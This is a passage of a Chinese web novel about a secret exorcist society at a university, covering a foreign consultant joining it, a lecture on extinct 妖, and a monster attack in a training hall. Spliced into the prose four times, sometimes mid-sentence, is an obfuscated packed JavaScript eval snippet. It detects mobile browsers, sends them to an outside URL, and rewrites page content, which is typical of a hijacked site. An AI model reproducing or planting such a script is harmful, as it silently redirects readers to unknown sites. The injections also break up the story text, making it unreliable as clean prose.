“刚刚发生的事情太多,我都差点忘了你还受伤了的这回事。”看似冷漠的一番话后,林欣予又给出了一个让人无法反驳的回应:“主要也是因为没想到你会受伤。” 这句话一下子噎住了黎子鸣,全场一下子只剩下旁边苏佑容哈哈大笑的声音。 这三人,是这一届里最拔尖的三人,虽然擅长的方向有所不同,但无疑的是,学校很愿意倾注资源去培养他们,这也是如此重要的项目会交给三个大二学生负责的原因,事实证明上层的决定没有问题,他们也确实很出色的完成了这个项目。 “走吧。”苏佑容拍了拍手上整理好的各种资料:“接下来一段时间可有的忙了。” 5. 加入 这是物零社成立这么多年来,第一次邀请非东亚圈的外国人加入。 没有先例的原因林欣予也说过,魑魅仅存在于东亚地区,各个相关组织中,自然也只有东亚人,其中不同地区的组织也各有特色,甚至在运用全然不同的能力体系,但这些体系也有相同的基点,那就是所谓的“灵力”。 林睿雅看着面前的这个外国男人,愈发不理解校长将这样一个外国人带入物零社的用意,她在他的身上只能感受到非常微弱的灵力,这份灵力或许只足够让人能看见魑魅的存在,远不能达到足够战斗的水平。 “安格森·谢尔塔斯。”红发蓝眼的外国人很绅士,率先做出了自我介绍,并向林睿雅伸出了手:“您是?” “林睿雅,在学校这边把我看作普通的工作人员就行。”并没有理会对方握手的意图,林睿雅只是简单地介绍了一下自己的名字和职位。 面对对方这有些轻蔑的举动,安格森也没有太大反应,只是不动声色地把手收了回来。 “林?”安格森对这个熟悉的姓氏产生了一些疑问,或许在外界,一样的姓氏并不能说明什么,但在注重传承的除魅师业内,姓氏往往能代表很多东西。 林睿雅自然也知道对面在疑惑什么,自然而然地做出了解答:“你刚刚在实验室见到的那个女孩,林欣予,是我的堂妹。” “原来如此。” 虽然和自己的妹妹一样,林睿雅对上级的决策充满了不解,但对于吩咐下来的任务还是要好好完成,她今天被安排的主要任务就是,带这位外国顾问了解一下物零社的各个方面,并最终邀请对面加入物零社。 于是随着两人的步伐,物零社的面貌渐渐清晰起来。 说来也是一件很神奇的事情,这样的一个神秘组织潜藏在一所大学之中,这一路上看到的大多景观与学生,都与普通的大学无异。此时透过建筑的窗户,看得见在外面操场上跑步或者打球的学生,而隔了一面窗户的背后,却是个常人难以接触到的世界。 “你刚刚看到的实验室,算是我们为日常训练做技术支持的地方,那样的实验室在物零社中其实不算很多。”林睿雅带着安格森在走廊里前进,一边前进一边介绍每一间屋子的功用。 “这边是应急医疗室,不过只配备了一些简单的医疗设施,主要是用来处理学生在日常训练中可能发生的受伤。我们对外有合作的大型医院,是专门处理魑魅伤害的,专业度和保密性都有所保证。” “这边是附魔室,用于制作承载灵力的附魔武器,一般也会作为附魔课程的教室使用,旁边还有几间小的是附魔实验室,提供给一些有能力的学生做开发,比如苏佑容,你刚刚也见过,在林欣予旁边的那个男生,他最近就在研究热兵器附魔。” “这几个房间是堆放杂物的,训练器材、附魔的练习材料、或者其他什么杂物,学生和老师都会放在这边,所以现在有点乱,你后面慢慢熟悉吧。” “学生专用的训练操场在地下,面积大概有一个半足球场,如果你想看的话我一会儿带你过去。” “这里就是理论课的教室,如果你决定加入我们,那这就是你最常涉足的办公地点。” 理论课的教室看上去与一般大学教室没什么区别,就是前矮后高的阶梯教室,铺着象牙白色的大理石地板,桌椅都是浅色系的原木制成,教室给人的整体感觉十分明亮舒适,午后的阳光透过巨大的窗户洒进教室,为这间不大的房间蒙上了一层温暖的色彩。值得一提的是装配在讲台的教学设备,设备看上去不像是普通的投影仪,估计又是什么高科技产品。 “如果不是听到刚刚的那句话,我会以为我已经加入你们了。”看着面前这间装修精美的教室,安格森如是说道:“我这一路来看到的各个区域都算是你们的保密区域吧,尤其是实验室里的那个项目,成熟运用的话可以引发全世界的科技变革。给我这样一个‘外人’如此肆无忌惮地介绍这些东西,我很难不担心自己的安全啊……” 林睿雅平静地说:“真正的核心区域并没有向你展示,但你现在看到的许多,确实也算有保密等级的地方。”她停顿一下:“只要你同意加入,自然不用担心这些,我们也可以将那些所谓的核心区域对你开放。” 这番话说出来,似乎就没有给安格森拒绝的余地。话语中暗示可以给出的好处,又带着赤裸裸的威胁,让人不得不审慎考虑。 看着低头陷入沉默的安格森,像是在认真考虑这件事,林睿雅也决定开口再推一把,顺便问问自己所拥有的疑惑:“说起来,我很好奇,你到底掌握了什么?” 林睿雅说:“物零社从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101173|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有邀请非东亚的外国人进入,你是第一个,并且是第一个校长嘱托我这边要好好招待的人,甚至如果你同意加入,物零社可以向你开放一切权限……你到底掌握了什么东西,让这些高层如此重视你?” 闻言,安格森抬起头看向她的眼睛,突然轻笑一下:“我说了,你敢听吗?” 局面好像一下子反转,这句反问让林睿雅不知道该如何回复,看到林睿雅变得有些僵硬的脸色,安格森打趣着笑了笑,缓和了下这紧张的气氛:“没那么严重,不是什么不能说的话题。” “物零社找到我应该是因为我母亲的缘故,她生前在研究‘妖’,研究这个生物灭绝的原因,并且取得了一些突破,而这些资料现在由我掌握。” “妖类的灭绝?”林睿雅有些震惊,这个议题几百年来有无数人研究过,但最终都是无果而终,而现在,面前的这个人却说在这个研究中取得了突破,并且掌握有切实的资料。 当然,林睿雅心里也清楚,具体的突破是什么,恐怕不是她能继续问下去的了。 安格森接着说了下去:“你也不用一直和我强调加入的事情,物零社用了一些诱人的条件来和我交换手中的这份资料,我也确实认为这是一笔可行的交易,但前提是,我需要考查物零社是否有能力拥有这份资料。” 所以他接受了物零社的邀请,并会在未来一段时间内停留在物零社之中,直到完成他的考察。 “当然,我也乐意提供给物零社一些力所能及的帮助。”安格森说,“虽然我的身体素质只能算普通人的水平,在战斗方面派不上什么作用。但为学生讲述一些我所知的基础理论,以及帮助学校的一些技术设备更新,都是没有问题的。” 林睿雅想起自己之前看过的资料,确实,抛开这些超自然资历,安格森本人有着丰富的计算机技术方面的经验,这确实会对学校现在的很多项目有所帮助。 面前的男人身上好像充满了各种谜团,但在交谈中又十分坦然。林睿雅生平第一次产生一种看不清的感觉,她无法判断面前这人的到来所预兆的是好是坏,只能在内心相信高层的判断没有差错。 “好吧,那我正式欢迎你。” 这一次,林睿雅向他伸出手。 “欢迎你加入物零社,安格森·谢尔塔斯先生。” 6. 酒馆 “来点什么,小姐?” “随便。” 是夜,校外街上出奇的冷清。今天是周一,许多人抱着满腹的怨气和满身的疲惫,展开新一周的工作和学习,现在这天即将结束,街上为数不多的行人也都匆匆略过,大家都想要早点到家,好获得足够的休息去面对未来几天的日程。 这家开在大学边上的小酒馆,也只有在这个时候能有难得的清闲,昏暗的灯光下只有两个人,一个是小酒馆的调酒师,另一个是林欣予。 晚上八点,窗外正下着淅淅沥沥的小雨,雨滴敲打在玻璃上,加上酒馆里留声机播放着悠扬的爵士乐,让这雨夜别有一番韵味。 林欣予一边玩着吧台上的不倒翁装饰小人,一边漫不经心地聊天:“之前跟你说过的那个外国人,他真的变成物零社的特聘教师了。” 调酒师一边挑选调酒用的酒酿,一边同样漫不经心地询问:“哦,那他教课教得如何?” “嗯,马马虎虎吧……”林欣予犹豫着给出这样一个形容词:“不过确实有些新奇东西。” 她闭上眼睛,回想起了今天白天课上的情形。新来的外教老师穿了一身简单干净的卡其色衬衫,拿着粉笔用流畅的花体英文在黑板上写下了自己的名字。 “安格森·谢尔塔斯,他的研究很有趣,他是研究‘妖类’的。”林欣予话锋一转,“你见过所谓的‘妖’吗?” 此时的小酒馆里就两个人,这句话在问谁显而易见。 调酒师此时已经挑选好各种调酒所需的东西,开始调配比例:“我只知道妖在很多年、估计是几百年前,就已经灭绝了。” “我和你知道的一样,但那个新老师,似乎对这些东西颇有研究。”林欣予顿了一下,接着说,“没想到物零社居然会把这些知识搬上课堂,那么又为何不在最开始就当基础理论进行教学?” “因为灭绝了,不会遇到了,所以没有必要占用课时吧。”调酒师把调好的鸡尾酒推到林欣予面前:“我当时的课上也没有讲过,不过你们那个新老师居然是研究这方面的,说不定是因为见到了什么变成美女的妖怪才感兴趣。” “别老这么想人家,”林欣予皱了皱眉,“你刚不还说妖已经灭绝了吗,人家上哪见去。况且课上有说,妖是不能化形的……” 话没说完,门口的铃铛响了,年轻的男生刚刚收起雨伞,他人先迈了进来,手拿着雨伞伸在外面,用力抖了几下,把伞上的水滴差不多抖落,才拿着雨伞走进。 林欣予看黎子鸣进来,没说完的话也没有接着往下说,她给调酒师使个颜色,对面很熟练的接收,只见他从吧台侧面穿出来,道:“你们聊,我去买点东西。” “晚上有课,来晚了。”黎子鸣从口袋里掏出个塑料袋,套上还未干透的雨伞,坐在林欣予旁边;“你要给我看的是什么?” “昨天模拟测试的一些数据,主要是关于零器的。” 她从包里拿出平板,打开一个模型文件:“这是昨天你使用的零器模型,我在这里面发现了一些东西。” 她把视角固定,锁定短刀模型的尖端部分,然后开始不断放大,在放大不知道多少倍后,一道细微的裂痕呈现在两人面前。 “刀尖那里出现了一道0.3毫米左右的裂痕,而且在内部,我想你应该知道这意味着什么。” “黎子鸣,你那异常的能力,可能连零器都无法承受了,你该去找办法控制力量。”林欣予手指一动,用飞快的速度删除了这份文件,“学校的数据已经被我掉包,换了一个正常的模型进去,虽然这个裂痕不注意根本看不见,但一旦被发现,学校绝对会取消你使用零器的权利。我这里也是,虽然之前承诺过会供应你所需的全部附魔器,但这样终归不是长久之策。” 黎子鸣沉思着:“我知道你的意思,我会想办法的。” 说来也是离谱,物零社成立这么多年,所招收的学生多少有些奇葩,但像黎子鸣这样的,却是头一个。 按理来说,学生接触到附魔器都得到大二,但刚入学那年,黎子鸣以优异的体术水平在新生里出了名,校长看中这孩子,所以刚大一的时候就以个人名义赠送了他一件附魔器。附魔器有一定的制作难度,物零社虽然底蕴雄厚,但是随便把附魔器给学生使用也算得上是财大气粗的体现。 只是在校长细心教导黎子鸣如何使用附魔器时,令所有人一生难忘的事情出现了—— 学生端平武器,一副煞有其事的样子,校长看了觉得很好玩,这群新生大部分都是社会上一些不入流的家族的后代,别说往武器里注入灵力,会点体术就不错。 然后他看到学生手里的武器竟然发出了一点微弱的白色光芒,这是灵力注入的明显表现。正当某校长感叹得意学生的天赋时,他听到了一声类似于金属碎裂的声音。 精致的武器彻底碎裂成了齑粉,懵懂的学生投去了无辜的眼神:“校长,我什么都没干,真的。” 这件事情一出,在物零社内直接掀起了轩然大波,无数分散在全国各地的资深成员飞奔回了本部。一时间,黎子鸣像是成了小白鼠一样,几周的时间天天被人逮着研究。 然而这种研究并没有什么结果,大家看过之后得出一致的结论—— “天赋”。 天赋这种东西确实招人羡嫉,有人天生聪慧,有人天生强健,许多天才与生俱来的就是普通人穷极一生也追不上的,放在除魅师里面,天生的灵力所有量,那就是无法逾越的鸿沟。 讨论的最后以一个荒诞的决定收尾,这也是校长提出的,他想让黎子鸣试试零器。这个想法刚提出时,遭到了一致的反对,但奈何物零社的创始人,一位年近百岁的老先生,把这事应了下来。老先生德高望重,没人敢无视他的决定。 就这样,在黎子鸣又一次以出类拔萃的战斗测试成绩夺得第一的时候,他得到了一件零器作为奖励。 这一下,压力来到黎子鸣这边。东西是给你了,但每次使用要打报告,事前来不及打报告就要事后写报告说明,上面的高层还要随时评估你是否依旧拥有使用权,这谁敢随便用。 所以这次的模拟测试,多多少少也有测试黎子鸣使用零器的威力这一方面的意图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101174|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是在这过后没人想到去给零器的模型做深入分析,因为他们心中零器是绝对力量的象征,不可能被简单损坏。他们的研究重点是系统能否完美的模拟出现实场景,因为这项新技术一旦成功,他们的教学方式会发生整体的改变。 除了林欣予。她第一时间替换了模型并进行解析,并且在那上面发现了一道毫不起眼的微小裂缝。她没有给老师们说这件事,因为她知道若是这件事被高层知道,黎子鸣可能就会被物零社除名了。对,没错,他很强,也很有天赋,但这种武器消耗量,物零社消耗不起,任何一个世家也消耗不起,没人能供得起这尊佛。 所以她没有和任何人说这件事,但是作为当事人的黎子鸣,有知道的必要。 不过这也涉及林欣予和黎子鸣的一些交易,她看中了黎子鸣的能力。黎子鸣家境普通,即使物零社的资源有部分向他倾斜,也无法完全支持黎子鸣的日常消耗。所以掌握附魔技术的林欣予以此和黎子鸣做了交易,她为黎子鸣提供日常使用的普通附魔器,相对的,在她要求黎子鸣办事的时候,黎子鸣要无条件地协助她。 当然,林欣予也不会让人去做什么伤天害理的事,只是想找个好用的工具人。 “今天找你就是为了这件事。”林欣予把平板电脑收起来,“损坏的模型数据我已经全部删除了。” 黎子鸣见林欣予说完话,也起身准备离开,但保险起见还是问了一句:“还有其他事吗?我后面还有约。” “没其他事了。” “行,那我先走了。”黎子鸣利落地拿起自己的包和伞,小跑着出了酒馆,看上去确实很急的样子。 这是有什么约?林欣予八卦的内心起身很想去问两句,但想想又觉得自己没必要这么关注别人的生活,最终还是没有开口。 她把东西收拾好走出大门的时候,看见先前被支走的调酒师正站在门口的树下抽烟。看见她出来,调酒师也是饶有兴趣地问了一句:“聊什么了?你的小同学刚刚很着急地跑出去了。” 林欣予从包里拿出伞,撑起伞走进雨里:“和我没关系,是他后面约了人。” “对了,”调酒师看着她即将走远,叫住她好心提醒了一句:“最近有个入室盗窃的挺猖狂的,注意回家把门窗都关好。” 林欣予没回头,喊了一声“知道了”,但估计也没怎么把这种事放在心上。她往回家的路上走着,看到迎面来了一个穿着浅绿色纱裙的女人,行进路线是往酒馆去的。 确实如此,穿着浅绿色纱裙的女人径直走到酒馆的门口。调酒师这时刚刚抽完烟,正开门准备回屋。女人来得恰到好处,调酒师拉开的大门像是为了邀请她进来一样。 女人收起伞,掩藏在雨伞和零碎的长发下的,是一双不像是人类的湛蓝色双眸。 “哟,稀客啊。”还带着满身烟草气味的调酒师顺势做了个邀请的手势,“‘变成美女的妖怪’,可真是说来就来了。” 女人收伞,伞上的水滴滴落在地上,发出清脆的响声,她开口,似乎和雨声融为一体: “好久不见,秦竹一。” 7. 课堂 今天的天气预报说,晚上有雨,但上午的天气却异常的好,晴空万里,丝毫不像是马上就要下雨的样子。装修精美的教室里,落座了十几位学生,稀稀落落地坐在教室的各个地方,让偌大的教室显得十分空旷。 这也是没有办法的事情,物零社占用整个学校设施最好的教学楼,但几年仅仅招收十几个学生,所以出现了这幅略显浪费资源的情景。 这是一门最近新开的理论课程,有些人期待新的课程内容,有些人抱怨多了一门考试,再加上是周一的清晨,还有许多人因为熬夜和早起而萎靡不振—— 直到一位意想不到的教师进来了。 红发的外聘教师穿着一身干净的卡其色衬衫,外面加了一件深色的马甲,低下是简单的黑色长裤和马丁靴,手上还拿着一个深蓝色的文件夹,文件夹里是班级花名册。 他走到黑板面前停下,拿起讲台上的白色粉笔,用漂亮的花体英文在黑板上写下了自己的名字,又在下面用板正的小楷写下了自己的中文名字。 外教开口是标准的中文:“大家好,我是负责大家本学期理论课程的老师,安格森·谢尔塔斯,下面我来点下名。” 随便叫了几个名字并得到回应后,安格森合起花名册:“先点这几位,等课程快结束的时候我会再随机抽几位点名,以及不出意外的话,这学期的课都会是这样的点名方式。” 这种方法的意图也很明显,防止有逃课的,或者刚开始点名的时候来,点完名就跑的,虽然在这个人数本来就不多的班级里,少一两个人都会十分明显。 “接下来我说下大家比较关注的计分方式——”他又拿起粉笔,在黑板上写下这门课程的分数分布:“平时分10%、期末笔试60%、期末实践考试30%。” “这里先给大家解释一下期末实践考试,也算是给大家透个底,本学期的期末考试是一个综合性测试,会考验大家从实战到理论各方面的能力,所以这一部分在理论课的分数占比也会比较大。” 这段话说完,底下的学生传来小声说话的声音,一部分人关注这所谓的综合考试是一种什么样的方式,另一部分人或许对这位突然出现的教师感到了好奇。一时间,空旷的教室里竟然显得有些嘈杂。 安格森敲了敲黑板,示意下面的学生保持安静,随后打开教室投影仪设备,设备很高级,投影仪是3D的,光束从天花板上打下,在讲台上构建出了一个立体的模型。那是一团黑色的雾气,随后它开始变化,变成了各种形状:动物、植物、最后停在了一个成年男人的形状,只不过依旧是一团黑,没有五官,只是一个轮廓而已。 “这是所谓的‘魑魅’,是现今游离在世上的怪物,当然,这种名称一般也只有部分除魅师这么称呼,更多的人会称他们为——‘妖怪’。” “相信关于魑魅的各种信息你们已经学习过不少了,那么我今天来重点讲讲,什么才是所谓的‘妖’。” 如今的妖,是只存在于传说里的生物。千年前,这个物种曾经是这片大地上的一方霸主,但几百年前,不知道发生了什么,它们慢慢消失,等人类反应过来的时候,妖已经不再出现在世界上。 但这种物种在各类创作中一直留存下来,并且似乎给人产生了错误的认知。 安格森刚到中国的时候遇见过一件事。一户富人家进了魑魅,请了个道士来处理,那是个在民间借散活为生的小道士,有点灵力看得见魑魅,但对各种专业知识一窍不通,对着魑魅开口就喊“妖怪”。后来这只魑魅估计是被专业的人处理,一段时间没再出现,那道士怕捞不着富豪的钱,硬说那妖怪变成了这家人新雇佣的保姆,要在晚上偷偷吸富豪的精气,吓得人是赶紧把那小保姆往外赶。 说来也是离谱,现代社会本身没什么人信这些,反而是有钱人最信,虽然没做出什么特别过分的事,但终归是断了人家谋生的法子。 然而,业内的研究一直表明,所谓的“妖”是不会变化人形的,也和“魑魅”这一存在没什么太大的联系。 说到底,妖是一种生物,有血有肉,自然不可能随意的变换形态。而魑魅不同,这种由黑色雾气组成的东西是否为“生物”都很有争议,它们没有□□,只有灵力可以对其造成伤害。它们也不需要进食和排泄,对人类的攻击欲望像是被设定好的底层逻辑,是本能的反应。 在妖怪灭绝之后,因为魑魅的存在,除妖师这一职业才能延续下来,直到变成如今的除魅师。在这样的背景下,这种玩意的产生和来源就变得耐人寻味了。 “这么多年来的许多文学作品也好,影视作品也好,给大家灌输了很多错误的观念,我们首先需要的,就是把这一错误的观念纠正回来。” “妖不会化成人形,就像你不会变成小猫小狗一样;魑魅当然也不会变成人形,它们也不会附身,这种存在对人类只有最原始的攻击欲望。大家在以后的各项实践任务中可能也会遇到,求助人向你称说,觉得自己身边的什么人是妖怪变的、什么人是被妖怪附身了……这多来源于大家接收到的各项错误信息,但受过专业教育的我们不能被错误信息诱导,这也是今天给大家讲述这些的目的。” 课程的时间不长,内容量说实话也算不上多,但整节课却显得十分充裕,主要是这些内容太过匪夷所思,听上一节课像是听了一节有声小说一样。 黎子鸣就是这样的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101175|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么妖魔鬼怪的,这些存在对于现在人们的生活来说已经太遥远了,尽管他们面对的也是一些超出正常人类认知的存在,但对他来说,这并不是什么遥不可及的东西。但今天所听到的所谓的“妖”,确实是超出他的认知范围。 简单来说就是,他虽然听了这些,但并没有任何实感,也并不认为自己会遇到这些事情。 不多时,广播里响起了铃声,代表着今天上午课程的结束。 学生们拿起自己的包和各种电子设备鱼贯而出,黎子鸣也准备出教室去食堂吃饭,却在门口被叫住。 安格森一边拔下自己插在教室电脑上的U盘,一边拦住黎子鸣:“黎子鸣,你稍微留一下。” 他身边的饭搭子苏佑容看了他一眼,眼神中的话语也很明显:“要等你一起吃饭吗?” 黎子鸣有些莫名其妙,他转头跟苏佑容说了一句“你先去吃”,乖乖留下来。不一会儿,教室里的学生都走完了,只剩下了黎子鸣和安格森两人。 还没等黎子鸣开口问,安格森先问了:“你晚上有时间吗?” “我晚上约了林欣予……” “你和她约的几点?” “晚上八点。” “你俩的事一个小时能结束吗?” “应该吧。” “那晚上九点。”安格森很干脆地定了个时间:“晚上九点,你到地下的训练场等我,我会找人给你开大门的权限。” “这、这也太突然了。”黎子鸣有些不解,“老师,是什么事啊?” “是关于你灵力问题的事,学校那边委托我,希望我看下能不能帮助你找到控制灵力的方法。”安格森解释道:“但我后面几天很忙,近期只有今天晚上有时间,所以想先摸下底。” 控制灵力的方法?黎子鸣心中一惊,他进入物零社一年多以来,几乎每个擅长这方面的老师都已经尝试教过他,大家都无一例外的失败。而面前这位新来的陌生老师,居然说受了学校的委托来教导他,难道这人是这方面的高手? 他再次审视面前的安格森,却依旧只能在对方身上感受到一丝聊胜于无的灵力,按照他的判断,这点微弱的灵力只足够让人能看见魑魅存在,给那些怪物造成伤害都是无稽之谈,这样的人,他根本没有灵力可以控制,又能有什么控制灵力的良方? 不,话也不能说这么死,还有一种可能性,面前的这个人,可能也拥有十分强大的灵力,但他将这些灵力掩藏住了。这就需要十分精密的控制,能掌握这样技术的人,确实也称得上是高手。 “好,我知道了。”黎子鸣相信自己的内心,看安格森的目光都尊敬起来,“谢谢老师。” 8. 袭击 晚上九点,黎子鸣卡点进入物零社的地下训练场,而安格森似乎已经在那等候多时。 看到黎子鸣进门,安格森没等他把门关严实,直接朝他扔过去什么。黎子鸣看着眼前被投来的黑影一惊,条件反射地伸手去接,却发现被扔来的东西比想象中的重很多。冰凉的触感从指尖传来,黎子鸣这才借着灯光看清,自己手里此时拿着的是一块巨大的金属板。 “安老师,这是什么?”黎子鸣抱着半米长的金属板,问了一句。 安格森内心稍微吐槽了一句这个称呼,他也不知道学生之间是怎么说的,一天的时间里所有人都开始叫他“安老师”,明明自己也不是这个姓,只能说不太懂中国孩子的脑回路。他拍了拍手上的灰尘,似乎刚刚那块金属板落过不少灰:“一块用金属废料制成的附魔器,因为没有细节加工过,所以不能用于战斗,但它的灵力承载量要比正常附魔器高出很多。” 他指了指那块金属板:“你按照你最小的灵力输出量往里面注入灵力试试,我想看下你目前的控制水平……” 当那句“注入灵力”说出来的时候,黎子鸣就已经开始行动了。而安格森话还没说完,那块金属板已经在发着微光的白色灵力下化为齑粉。 “……”安格森看了黎子鸣一眼。 “……”黎子鸣也很无辜地看了对方一眼。 “你刚刚,控制力量了吗?” “控制了!我已经是按最小的输出注入灵力了!”这话坚定地仿佛他生怕对面不信。 安格森此时才意识到问题的严重性,林睿雅给他说这件事时,强调让他不用太上心,发现没辙就尽早结束,不要太多浪费时间……自己之前还想呢,为什么会让灵力本身就不强的自己去教他们不懂得灵力控制的学生,照现在这个情况看来,估计是每个老师都要被拉来试试,死马当活马医吧。 在目前已经超出安格森认知的情况下,他决定尝试追根溯源,探寻一下这孩子拥有不同寻常的灵力的原因。按理来说,拥有异常强大的力量,总归是经历过些什么,家族有浓厚的底蕴也好,经历过什么悲惨的事情觉醒也罢,不论如何,所有力量的来源都是有迹可循的。 当然,这也只是“按理来说”而已。 所以当安格森从他的家庭开始旁敲侧击,询问黎子鸣“你的父母灵力强吗?”的时候,黎子鸣很自然的给出了“按理”之外的回答。 “没有,他们都是普通人。”黎子鸣说:“应该没有灵力吧,他们好像看不见魑魅。” “那,有没有经历过使你的人生发生重大转折的事情?” “也没有吧,我好像一直挺顺的,也没生过什么大病……等等,”黎子鸣思索了一会儿:“进入物零社应该算是重大转折吧,在那之前我一直以为我是阴阳眼呢,结识了物零社的人才知道那种黑色的魑魅是有灵力的人都能看到的!” 好普通,说句实话,他的人生好普通。 就是这样一个普通的人身上,拥有了许多除魅师难以匹敌的灵力储量,而在这个行业的世界里,灵力的储量基本等同于一个人能达到的上限。 或许这就是所谓的“天赋”。 “安老师,那我们接下来做什么?”黎子鸣的眼睛往旁边瞅了瞅,那里赫然还放着一柄银色的长剑,估计也是训练要用的道具。 安格森也注意到对方的眼神,知道这孩子现在看见了那柄长剑,但依照现在的情况,这长剑在他手里估计撑不过两秒钟,还是别糟蹋东西了。 虽说这样好像有些丢脸,但是教不了就是教不了,安格森此时已经准备坦然承认这件事,早点把黎子鸣赶回宿舍,自己也能回家休息…… 但是突然,地下训练场紧闭的大门打开了。 没有人也没有风,只有缺少润滑的大门合页开关发出的微弱嘎吱声,那扇门就在两人的眼前骤然敞开。 周围突然陷入诡异的寂静之中,好像有什么东西来到此地,正在用神秘的力量影响此处的一切。天花板上明亮的灯管也就此罢工,就像各种恐怖电影里一样,光照渐渐微弱,又在顷刻间明亮。与此同时,没有窗户的地下训练场,开始刮起了阵阵寒凉的微风。 黎子鸣有点蒙,现在的情况怎么看怎么像是一幅闹鬼的样子,但他的第一反应是去看门口的电灯开关,潜意识里还觉得是控制门和灯的电子系统出了什么故障。 但安格森不一样,在他的位置,他看到了黎子鸣的视野死角里突然出现了一些东西—— “是魑魅!黎子鸣,别过去!” 顷刻,浓烈的黑雾突然从门口涌入,凝结成一只巨大的兽爪,爪尖弹出,朝着黎子鸣的方向挥舞而下,随之掀起了一阵狂风。黎子鸣离门口只有一两米的距离,自然是首当其冲。魑魅来的迅速,根本没有给任何反应的时间,但好在安格森的那句提醒,黎子鸣其实大脑还没有反应过来他说了什么,但身体已经条件反射般的动了。他迅速地向左侧避让,堪堪避过了那魑魅袭来的第一次攻击。 在他躲开后,那只魑魅在原地站定一会儿,从那只兽爪开始,慢慢地向上凝聚,等形状完整时,那赫然是一只两米多高的老虎样子。 黎子鸣这会儿才开始心有余悸,刚刚那一下如果他没躲开,怕是不死也残。 “魑魅为什么会进到学校里!”此时的两人都想问出这句,但这种危机关头,谁都没有时间去思考这些。 在那只魑魅突然闯入攻击黎子鸣时,安格森就已经拿起了放在自己不远处的那柄长剑。看到黎子鸣躲过攻击站定后,安格森马上将那柄长剑扔了过去:“看你的了,上!干掉它!” 在他的想象里,黎子鸣抄起武器手起刀落,虽然这把剑会粉碎,但在那之前这魑魅也已经粉碎了吧。但事实上黎子鸣并没有这样做,他拿到剑以后反而开始朝安格森大喊:“别给我啊!我用了剑会碎的,到时候没有附魔器我们都完蛋!” “在碎之前干掉它啊!像你那天在模拟测试里那样。”安格森在空中比划了几下,示意那天他看见黎子鸣在虚拟测试里面砍瓜切菜的样子,虽然现在就一把武器,但以当时的威力看,一击足以消灭现在面前的这个了。 黎子鸣此时也十分抓狂,那魑魅可不会闲着听他们俩在这唠嗑。黎子鸣离它近,自然是最先被攻击,但好在这魑魅化成了猛兽的模样,行动也和猛兽差不多,无非是抓、咬那几个简单的动作,躲避起来倒也容易。所以他一边躲避着那些攻击,一边把那柄剑扔回给了安格森:“那只是测试!现实里很可能我攻击还没发动武器就碎了,老师你来吧!你灵力很强不是吗!” 安格森不知道黎子鸣自己前面脑补了什么东西,但他此刻很想爆一句粗口,不过到底还是忍住了:“你哪里看出来的我灵力很强!?” “你不是很会控制灵力吗!”黎子鸣被那只虎形魑魅逼到了墙角,前后都没有可以躲避的地方了,唯一一个空档是安格森所在的方向,“老师我知道的!您一定是灵力很强、但是因为精通控制才会显得没什么灵力吧!” “你知道什么了啊!”安格森现在只能说是十分崩溃,因为他看到这傻孩子此时已经从攻击的空档中蹿出,带着两米多高的怪物朝自己跑来了,而脸上写满了几个大字——“我相信你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老师你开玩笑吧,要是能这样的话还要附魔器干什么……”黎子鸣也不知道这人是真傻还是装傻,但今天多少可以看出来,这位老师和他想象中的区别很大。与其说是老师,更像是个同龄人,不过两人本身可能就没差太大的年龄:“话说,老师你不跑了吗?” 黎子鸣看到安格森率先挪到了门口,但他到那以后好像就靠在门框上喘气休息了,丝毫没有再逃几步的想法。 “不跑了,我叫的救兵到了。” 那魑魅少了一半身体,攻击性倒是没少,它怒吼一声,朝着大门口又撕咬过去,而这一次,有人拦住了它。 那是一条长鞭、不、不是鞭子,而是无数金属的短节组成的软剑,软剑伸出很长,像鞭子一样死死缠住了那只魑魅的身体。 软剑的另一边,是一个长发的女人。 黎子鸣看见了来人,兴奋地叫了一声:“睿雅姐!” 安格森搬来的救兵正是林睿雅,林欣予的姐姐,自称是普通的工作人员,但估计实际上在物零社内有着不低的地位。 林睿雅面无表情,收紧了手上握着的软剑,尖端收缩,魑魅发出了一声惨叫,然后在逐渐收缩的束缚中被撕裂,彻底消失。 “你们俩没事吧。”确认魑魅已经彻底消失,林睿雅这才开始关心死里逃生的两人,不过话的内容是关心,说话的语气里好像没什么关心的意思。所以她没等两人回复,直接来了一句:“嗯,看上去是没事的样子。” 